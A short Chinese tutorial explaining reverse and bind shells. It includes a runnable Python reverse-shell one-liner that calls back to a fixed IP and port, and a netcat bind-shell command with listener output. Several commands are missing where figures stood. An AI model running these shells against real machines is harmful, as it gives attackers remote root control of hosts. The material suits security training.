-
reverse shell
-
bind shell
reverse shell描述图:
在此示例中,目标使用端口4444反向连接攻击主机。-e选项将Bash shell发回攻击主机。请注意,我们也可以在Windows的cmd.exe上使用-e选项。假设我们已经在目标主机上找到了远程代码执行(RCE)漏洞。我们可以在目标主机上使用-e发出Netcat命令,并使用Netcat发出命令启动反向shell。
先启动攻击端的监听:
再在目标端启动反向shell:
linux
然后可以在攻击端控制目标端的服务器,以root权限;
win7
然后可以在攻击端控制目标端的win7系统,以administrator权限;
python的反向shell:
import os,socket,subprocess; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('192.168.0.21',8080)) #重定向shell输出 os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) #执行子程序 p=subprocess.call(['/bin/bash','-i'])
正向bind Shell
在该图中,目标使用Netcat侦听器将Bash shell绑定到它特定端口4444。攻击者使用简单的Netcat命令连接到此端口。设置bind shell的步骤如下:
使用Netcat将一个bash shell绑定到4444端口。 从攻击主机连接到端口4444上的目标主机。 从攻击主机发出命令到目标主机上。
root@kali:~# nc -lvp 4444 -e /bin/sh
listening on [any] 4444 ...
10.1.20.x: inverse host lookup failed: Unknown host
connect to [10.1.20.x] from (UNKNOWN) [10.1.20.x] 6065
root@kali:~# a